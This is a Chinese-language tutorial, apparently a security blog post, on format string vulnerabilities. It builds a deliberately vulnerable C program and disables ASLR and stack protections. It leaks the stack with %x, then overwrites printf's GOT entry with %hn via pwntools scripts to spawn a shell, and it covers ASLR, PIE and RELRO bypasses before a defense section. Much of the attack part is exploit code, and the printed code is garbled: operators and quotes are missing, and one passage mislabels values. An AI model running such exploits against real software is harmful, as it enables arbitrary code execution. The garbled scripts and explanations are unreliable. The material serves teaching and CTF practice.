格式化字符串漏洞:从原理到实战利用与防御

📅 2026/7/8 16:32:59
格式化字符串漏洞:从原理到实战利用与防御
1. 项目概述为什么格式化漏洞是“老而弥坚”的威胁在安全测试和漏洞挖掘的领域里格式化字符串漏洞Format String Vulnerability绝对算得上一个“经典款”。它不像缓冲区溢出那样需要精密的堆栈布局也不像SQL注入那样依赖特定的数据库交互。很多时候它就像一个被遗忘在代码角落里的“定时炸弹”一旦被触发就可能造成信息泄露、程序崩溃甚至任意代码执行的严重后果。我从业这些年见过太多因为一个简单的printf(user_input)而引发的安全事件。开发者往往觉得这只是一个打印日志或者调试信息的函数能有什么危险恰恰是这种轻视给了攻击者可乘之机。格式化漏洞的核心在于程序将用户可控的数据直接作为了格式化字符串函数的“格式字符串”参数。像C语言中的printf、sprintf、fprintf或者Python中的%操作符、str.format在特定不当使用下等都可能成为攻击入口。攻击者通过精心构造的输入可以欺骗这些函数去访问本不该访问的内存地址从而实现“读”或“写”内存的操作。这个漏洞的利用过程就像拿着一把能撬开内存抽屉的万能钥匙虽然原始但威力巨大。这篇文章我会从一个实战者的角度彻底拆解格式化漏洞。我们不会停留在“不要使用printf(s)”这种表面警告而是要深入其骨髓搞清楚攻击者是如何一步步将无害的字符串变成攻击武器的。我会带你从漏洞原理、环境搭建、手工利用一直讲到自动化工具的使用和高级技巧并分享大量我在实际渗透测试和CTF比赛中踩过的坑和总结的经验。无论你是刚入门的安全爱好者还是想巩固底层知识的安全工程师相信都能从中获得实实在在的干货。2. 漏洞原理深度剖析格式化函数如何被“策反”要利用一个漏洞首先得彻底理解它为什么会发生。格式化漏洞的根源在于格式化函数对参数的处理机制与我们通常的直觉相悖。2.1 格式化函数的调用约定以C语言最经典的printf为例。它的函数原型是int printf(const char *format, ...);这里的...表示可变参数varargs。当我们在代码中写下printf(Hello, %s! You have %d messages.\n, name, count);时参数在内存中以典型的x86栈帧为例是这样排列的首先压入count第三个参数。然后压入name第二个参数。最后压入格式字符串Hello, %s! You have %d messages.\n的地址第一个参数即format。printf函数被调用。函数内部的工作流程是它从栈上取得format指针。开始逐个字符解析这个格式字符串。当遇到%开头的格式说明符如%s,%d,%x时它就按照调用约定到栈上“下一个”位置去取对应的参数值。这个“下一个”位置是相对固定的函数自己并不记录传入了多少个参数它完全信任格式字符串的指示。2.2 漏洞的诞生当格式字符串可控问题来了。如果程序员写下了这样的代码char user_input[100]; fgets(user_input, sizeof(user_input), stdin); printf(user_input); // 危险用户输入直接作为格式字符串此时printf的参数只有一个user_input的地址。按照调用约定栈上只有这一个参数格式字符串地址。当攻击者输入的不是普通字符串而是包含格式说明符的字符串例如%x情况就变了printf开始解析user_input现在是%x。遇到%x它认为这是一个需要打印的参数于是它忠实地前往栈上“下一个”位置读取数据。但这个位置原本应该是调用者提供的、对应%x的那个参数的值。现在调用者根本没提供这个参数这个位置存放的是什么是printf调用之后栈上相邻的其他数据——可能是上一个函数的返回地址、栈帧指针、或者其他局部变量。printf会把这个内存单元的值当作整数以十六进制形式打印出来。这就实现了内存信息的泄露。攻击者通过输入多个%x就可以像“爬栈”一样把栈内存一截一截地打印出来其中可能包含敏感的地址信息、Canary值、甚至其他变量的内容。注意这种漏洞不仅存在于printf。任何使用类似机制的格式化函数如fprintf、sprintf、snprintf如果格式字符串可控、syslog等都存在同样风险。甚至在高级语言如Python中如果错误地使用Hello, %s % input()或Hello, {}.format(input())而输入中包含{和}也可能触发异常或信息泄露虽然通常更难直接执行代码但属于逻辑缺陷。2.3 从“读”到“写”%n格式符的致命威力如果漏洞只能“读”内存危害相对有限。格式化字符串真正危险的地方在于%n这个特殊的格式说明符。%n的功能是不输出任何字符而是将截至目前已成功输出的字符总数写入到一个指定的整数指针参数所指向的内存地址中。在正常的printf(Hello%n, count);调用后变量count的值会被设置为5因为“Hello”有5个字符。在漏洞利用中攻击者可以这样做控制写入地址通过泄露栈内存攻击者可以获知某个关键数据如函数返回地址、GOT表条目在栈上的位置或者将目标地址本身通过输入字符串放置在栈上可控的位置。控制写入的值利用%n的特性通过控制已输出的字符数来控制写入的值。例如输出100个字符后再用%n就会写入100。更精细的控制可以通过%hhn写入1字节、%hn写入2字节、%n写入4字节通常来实现。实施写入将%n与目标地址配对就能实现向任意地址写入任意值通常是一个较大的数字对应输出的字符数。通过精心构造攻击者可以将某个函数的返回地址覆盖为恶意shellcode的地址或者修改GOTGlobal Offset Table表中的函数指针将其指向攻击者控制的代码从而在函数下次被调用时劫持程序执行流实现任意代码执行。3. 手工利用实战从信息泄露到GOT覆写理解了原理我们动手搭建一个实验环境。我推荐使用32位Linux系统进行初次学习因为其栈帧结构相对简单地址空间布局随机化ASLR的影响也更容易绕过。我们将编写一个存在漏洞的演示程序。3.1 实验环境搭建与漏洞程序首先关闭系统的ASLR让地址可预测仅用于学习生产环境切勿关闭echo 0 | sudo tee /proc/sys/kernel/randomize_va_space编写一个简单的漏洞程序vuln.c#include stdio.h #include string.h void secret_function() { printf(Congratulations! You have executed the secret function!\n); system(/bin/sh); } void vuln() { char buffer[100]; printf(Enter your name: ); fgets(buffer, sizeof(buffer), stdin); // 致命漏洞用户输入直接作为格式字符串 printf(buffer); // -- 漏洞点 printf(\n); } int main() { vuln(); return 0; }编译时关闭栈保护Canary和NX不可执行栈并指定32位架构gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c-fno-stack-protector禁用栈溢出保护。-z execstack允许栈内存执行代码便于部署shellcode。-no-pie禁用位置无关可执行文件使代码段地址固定。3.2 第一步信息泄露与栈空间探测运行程序我们首先进行信息泄露摸清栈上的布局。$ ./vuln Enter your name: AAAA%x.%x.%x.%x.%x.%x AAAAffd3f6e0.0.0.41414141.252e7825.78252e78解释一下输出ffd3f6e0很可能是栈上的一个地址第一个%x读取到的。0可能是某些未初始化的数据或对齐填充。0同上。41414141这是十六进制的AAAA的ASCII码这说明我们输入的AAAA这四个字符本身被作为字符串存储在栈上的某个位置并且这个位置恰好是第四个参数的位置。252e7825和78252e78这是%x.%x字符串的一部分被解释为数据打印出来了%是0x25.是0x2ex是0x78。关键发现我们输入的AAAA出现在了第四个%x对应的位置。这意味着如果我们把AAAA替换成一个我们想写入的目标内存地址那么后续的格式说明符如%n就会把这个位置当作参数也就是把我们提供的地址当作%n要写入的目标。3.3 第二步定位关键目标——GOT表我们的目标是劫持程序执行流执行secret_function。直接覆盖栈上的返回地址需要精确的栈地址而利用GOT全局偏移表覆写是更稳定的一种方法。GOT表存储了动态链接库函数的实际地址。程序在第一次调用某个库函数如printf时会通过PLT过程链接表触发动态链接器去解析这个函数的真实地址并填入GOT。之后再次调用就直接跳转到GOT表中的地址。我们可以尝试覆写printf的GOT表项让程序下次调用printf时跳转到我们的secret_function。首先获取secret_function和printfgot的地址$ objdump -t vuln | grep secret_function 080491a2 g F .text 0000001b secret_function $ objdump -R vuln | grep printf 0804c014 R_386_JUMP_SLOT printfGLIBC_2.0secret_function地址是0x080491a2。printf的GOT表项地址是0x0804c014。3.4 第三步构造利用载荷我们需要向地址0x0804c014写入值0x080491a2。由于一次写入4字节%n的值是已输出的字符总数这个数字会非常大约1.34亿容易导致程序崩溃或输出过长。更优雅的方法是使用%hn写入2字节分两次写入。我们将目标地址0x0804c014拆分成高2字节0x0804和低2字节0x91a2。注意由于x86是小端序内存中低位字节在前。所以我们需要先向0x0804c014低地址写入0x91a237154十进制。再向0x0804c014 2 0x0804c016高地址写入0x08042052十进制。但写入顺序有讲究。因为%hn写入的是累计输出的字符数。我们需要先写入较小的值再写入较大的值。计算字符数第一部分我们需要输出37154个字符然后用第一个%hn写入低地址。第二部分在37154的基础上再输出2052 - 37154个字符不对20520x0804小于371540x91a2。这会导致问题因为累计字符数不能减少。解决方案交换写入顺序先写高2字节较小的值再写低2字节较大的值。但地址也要相应调整我们需要将高地址0x0804c016放在前面低地址0x0804c014放在后面。利用格式化字符串的“参数位置指定”功能%number$hn可以做到。我们通过之前的泄露知道我们输入的字符串包含地址的起始位置是第4个参数。假设我们构造的payload在内存中的布局如下每个[addr]占4字节[高地址 0x0804c016][低地址 0x0804c014][填充字符和格式字符串]那么0x0804c016是第4个参数。0x0804c014是第5个参数。我们需要先输出0x08042052个字符然后用%4$hn对应第4个参数写入到0x0804c016。再输出0x91a2 - 0x080437154 - 2052 35102个字符使总字符数达到37154然后用%5$hn对应第5个参数写入到0x0804c014。构造payload是一个精细活。我们可以使用Python来生成#!/usr/bin/env python3 from pwn import * # 设置目标 context(archi386, oslinux) # secret_function 地址 secret_addr 0x080491a2 high_word (secret_addr 16) 0xffff # 0x0804 low_word secret_addr 0xffff # 0x91a2 # printf GOT 地址 printf_got 0x0804c014 high_addr printf_got 2 # 0x0804c016 low_addr printf_got # 0x0804c014 print(f目标: 向 {hex(high_addr)} 写入 {hex(high_word)} 向 {hex(low_addr)} 写入 {hex(low_word)}) print(f十进制: 高字{high_word}, 低字{low_word}) # 构造payload # 小端序字节序 payload p32(high_addr) p32(low_addr) # 先写高字较小的值 # 目前已经输出了 8 个字节两个地址 # 需要再输出 high_word - 8 个字符 count1 high_word - 8 payload f%{count1}c.encode() payload b%4$hn # 写入到 high_addr (第4个参数) # 再写低字较大的值 # 此时累计字符数已经是 high_word # 需要再输出 low_word - high_word 个字符 count2 low_word - high_word payload f%{count2}c.encode() payload b%5$hn # 写入到 low_addr (第5个参数) print(fPayload 长度: {len(payload)}) print(fPayload (hex): {payload.hex()}) print(fPayload (raw): {repr(payload)}) # 为了演示我们可以直接生成用于输入的字符串 with open(payload.bin, wb) as f: f.write(payload) print(Payload 已写入 payload.bin)运行这个脚本生成payload。由于输出字符数非常多几万个程序会卡住并输出大量空格。在实际利用中我们通常通过管道或socket发送payload并忽略其输出。3.5 第四步实施攻击与获取Shell使用pwntools可以更优雅地完成攻击#!/usr/bin/env python3 from pwn import * # 启动进程 p process(./vuln) # 或者远程连接 # p remote(靶机ip, 端口) # 使用上面计算好的payload这里简化为一个示例实际需要精确计算偏移 # 首先我们需要确定我们输入的地址在栈上的确切偏移。 # 通过发送 AAAA%4$x 来测试如果输出 41414141则偏移是4。 p.sendlineafter(bEnter your name: , bAAAA%4$x) response p.recvline() print(fLeak: {response}) if b41414141 in response: offset 4 log.success(fFound offset: {offset}) else: log.failure(Could not find offset, need to brute force...) # 可以尝试其他偏移 offset 4 # 假设我们已知 # 构造最终payload (简化版使用 pwntools 的 fmtstr_payload) # pwntools 的 fmtstr_payload 可以自动完成复杂的计算 # 它需要三个参数偏移量、{要写入的地址: 要写入的值} writes {0x0804c014: 0x080491a2} # 将 printfgot 覆盖为 secret_function 地址 payload fmtstr_payload(offset, writes, write_sizeshort) # 使用 %hn 写入 p.sendlineafter(bEnter your name: , payload) # 如果成功下一次 printf 调用可能是程序自带的或者我们触发就会跳转到 secret_function # 在我们的 vuln 函数中漏洞点 printf 之后还有一个 printf(\n)。 # 这个 printf(\n) 会使用已经被我们覆盖的 GOT 表项从而执行 secret_function。 p.interactive() # 获得交互式 shell运行这个利用脚本如果一切顺利你将看到Congratulations!的消息并获取一个shell。实操心得手工构造格式化字符串payload非常繁琐且容易出错尤其是在面对复杂的地址对齐和字符数计算时。在实际的CTF比赛或渗透测试中我强烈推荐使用像pwntools的fmtstr_payload这样的自动化工具。它的价值在于能快速生成可靠的payload让你把精力集中在信息泄露、偏移确定和目标选择这些更关键的步骤上。自己手算一次理解原理就够了实战中效率第一。4. 高级技巧与对抗防护机制现代操作系统和编译器部署了多种防护机制让传统的格式化字符串利用变得困难。但道高一尺魔高一丈。4.1 对抗ASLR与PIE地址空间布局随机化ASLR和位置无关可执行文件PIE使得代码和数据的地址在每次运行时都随机变化。对于格式化字符串漏洞我们依然有办法信息泄露是前提利用格式化字符串的读内存能力%x,%s,%p泄露出程序自身的某个指针例如栈地址来自%p或%x泄露的栈内容、libc函数地址通过泄露GOT表中已解析的条目如printf的实际地址或程序基址通过泄露.text段内的某个地址。计算偏移一旦泄露出一个已知的地址就可以根据它与目标地址如system函数、/bin/sh字符串、GOT表在内存中的固定偏移计算出目标地址的实际值。例如泄露printf的地址后查表得到printf和system在libc中的偏移差就能算出system的运行时地址。Partial Overwrite部分覆写有时PIE随机化的熵并不高尤其是低位的地址变化有限。如果泄露出的地址与目标地址只有最后1-2个字节不同我们可以使用%hhn进行单字节覆写从而精确命中目标无需知道完整地址。4.2 对抗栈保护Stack Canary与RELROStack CanaryCanary是放在栈上、位于返回地址之前的一个随机值用于检测栈溢出。格式化字符串漏洞通常不直接破坏栈帧结构所以Canary对它无效。格式化字符串漏洞可以绕过Canary。RELRO重定位只读Partial RELROGOT表可写。我们上面的利用方式就是针对这种情况。Full RELROGOT表在初始化后被标记为只读。这是最有效的防护之一直接封杀了GOT覆写这条路径。应对策略当Full RELRO开启时需要转向其他利用原语覆写函数指针在栈上或堆上寻找程序自定义的函数指针如回调函数、C虚表指针。覆写atexit处理程序或__malloc_hook/__free_hookglibc 2.34这些是libc中的全局钩子指针覆写它们可以在程序退出或进行堆操作时触发代码执行。这需要先通过信息泄露计算出libc基址。覆写__stack_chk_fail的GOT虽然GOT只读但如果程序没有启用-fstack-protector-strong或者存在其他方式触发栈检查失败可以尝试覆写这个失败处理函数。不过现代环境很少见。4.3 利用%s进行任意地址读%s格式符会将其对应的参数解释为一个指针并打印该指针指向的以空字符结尾的字符串。如果我们可以控制这个指针值就能读取任意地址的内存内容直到遇到\0。这比%x更强大可以一次性读取大量连续数据例如用来泄露libc中的字符串如/bin/sh或整个GOT表。4.4 利用%a进行浮点数泄露%a以十六进制指数形式输出浮点数。在某些特定场景下浮点参数通过不同的寄存器x86-64的XMM寄存器传递利用%a可以泄露这些寄存器的内容可能包含有用的指针信息这是在64位系统上探索利用路径的一种技巧。5. 自动化工具实战使用pwntools与FmtStr手工构造利用虽然有助于理解但效率低下。在实际工作中我们依赖自动化工具。pwntools的FmtStr模块和fmtstr_payload函数是利器。5.1 自动探测偏移量from pwn import * context.log_level debug p process(./vuln_fmt) # 自动探测格式化字符串的偏移量 def find_fmt_offset(): # 发送一个包含可识别模式的payload例如多个 %p 或 %x # 更优雅的方式是使用 pwntools 的探测功能 for i in range(1, 20): payload fAAAA%{i}$p.encode() p.sendlineafter(bEnter your name: , payload) resp p.recvline() if b0x41414141 in resp: # AAAA 的十六进制 log.success(fFound offset at: {i}) return i log.failure(Could not find offset automatically) return None offset find_fmt_offset() if offset: # 使用找到的偏移量 # 首先泄露一些地址比如 libc 地址 payload f%{offset}$p.encode() # 泄露栈地址 p.sendlineafter(bEnter your name: , payload) stack_leak int(p.recvline().strip(), 16) log.info(fStack leak: {hex(stack_leak)}) # 或者泄露 libc 地址假设我们知道 printf 在格式化字符串中的参数位置 # 这通常需要结合二进制分析比如 printf 是第几个参数 # 假设 printf 的返回地址在偏移 offset6 的位置这需要调试确定 payload f%{offset6}$p.encode() p.sendlineafter(bEnter your name: , payload) libc_leak int(p.recvline().strip(), 16) # 计算 libc 基址...5.2 自动生成利用载荷一旦确定了偏移量和目标生成payload就一行代码# 假设我们要将位于 0x804c014 的 printfgot 条目覆盖为 0xdeadbeef writes {0x804c014: 0xdeadbeef} # write_size 可以是 byte (%hhn), short (%hn), int (%n) payload fmtstr_payload(offset, writes, write_sizeint) p.sendline(payload)fmtstr_payload内部会处理所有复杂的地址排序、字符数计算和payload构造生成最优的利用字符串。5.3 整合利用链泄露、计算、覆写一个完整的、对抗了ASLR和PIE的利用脚本可能长这样#!/usr/bin/env python3 from pwn import * context.binary ./vuln_pie # 设置上下文pwntools 会自动解析二进制 context.log_level info p process() # 1. 自动查找偏移 (使用 FmtStr 类) fmt FmtStr(execute_fmtp.sendline, offset5, padlen0) # offset 可以先猜错了会调整 # 或者用自动探测 # fmt FmtStr(execute_fmtp.sendline, autoTrue) offset fmt.offset log.success(fFormat string offset: {offset}) # 2. 泄露程序基址 (PIE) # 假设我们知道 vuln 函数的 .text 地址在格式化字符串的某个偏移处 # 通过调试得到比如 vuln 的返回地址在 offset7 payload f%{offset7}$p.encode() p.sendlineafter(bname:, payload) main_return_addr int(p.recvline().strip(), 16) # 这个地址是 __libc_start_main 内部的某个地址可以计算出 libc 基址 # 这里需要根据具体libc版本计算偏移 libc_base main_return_addr - 0x270b3 # 示例偏移需替换 log.info(fLibc base: {hex(libc_base)}) # 3. 计算目标地址 libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 提供本地libc文件 libc.address libc_base system_addr libc.sym[system] binsh_addr next(libc.search(b/bin/sh\x00)) log.info(fsystem {hex(system_addr)}) log.info(f/bin/sh {hex(binsh_addr)}) # 4. 选择覆写目标 (例如覆写 __printf_hook 或某个函数指针) # 假设我们找到一个全局函数指针 void (*funcptr)() 在地址 0x555555558020 # 我们需要先泄露这个指针的地址如果PIE也需要计算 # ... 泄露过程 ... # 5. 生成 payload 并覆写 writes { 0x555555558020: system_addr, # 将 funcptr 覆盖为 system # 可能还需要在某个地址布置 /bin/sh\x00 字符串或者用 one_gadget } payload fmtstr_payload(offset, writes, write_sizebyte) # 使用单字节写入应对ASLR p.sendline(payload) # 6. 触发 # 例如如果 funcptr 会被调用... p.sendline(btrigger command) p.interactive()注意事项自动化工具虽好但不能完全替代理解。工具可能因为二进制结构、环境差异如libc版本而失败。你必须能够读懂工具生成的payload并在它失败时进行手动调试和调整。例如fmtstr_payload可能会生成非常长的字符串可能触发输入长度限制这时就需要你手动优化比如使用更短的地址或调整写入策略。6. 防御之道开发者视角讲了这么多攻击最后必须谈谈防御。作为一名安全从业者我深知修复远比攻击更有价值。根本方法使用不可控的格式字符串永远不要将用户输入直接作为格式化字符串函数的第一个参数。正确做法printf(%s, user_input);或fprintf(file, %s, user_input);在Python中避免使用Hello %s % user_input或Hello {}.format(user_input)除非你确信输入是安全的。对于日志记录应使用logging模块它默认会对参数进行格式化而非将整个字符串作为格式。编译器与静态检查启用编译器警告gcc -Wformat -Wformat-security。对于printf(user_input)这样的代码现代GCC/Clang会发出严重警告。使用静态分析工具将静态分析SAST工具集成到CI/CD流程中自动检测此类漏洞。例如Coverity,Clang Static Analyzer,SonarQube等。运行时防护启用完整的RELRO编译时使用-Wl,-z,relro,-z,now。这是防止GOT表覆写最有效的手段。启用栈保护-fstack-protector-strong虽然对格式化漏洞直接利用无效但仍是良好的安全实践。启用ASLR/PIE操作系统级和编译时-pie -fPIE都启用增加利用难度。使用Fortify Source-D_FORTIFY_SOURCE2可以在编译时对某些字符串函数进行加强检查但对格式化字符串的保护有限。代码审计与安全培训定期进行代码安全审计重点关注printf,sprintf,fprintf,syslog等函数的调用。对开发团队进行安全编码培训让他们理解格式化字符串漏洞的风险。格式化字符串漏洞是一个“古老”但并未消失的威胁。它在现代代码中出现的频率可能降低了但在遗留系统、嵌入式设备或安全意识不足的项目中依然常见。理解它的原理和利用方式不仅是为了攻击更是为了能更好地防御和构建更安全的软件。每一次成功的漏洞挖掘和修复都是对系统安全性的加固。希望这篇详解能成为你安全武器库中一件趁手的工具。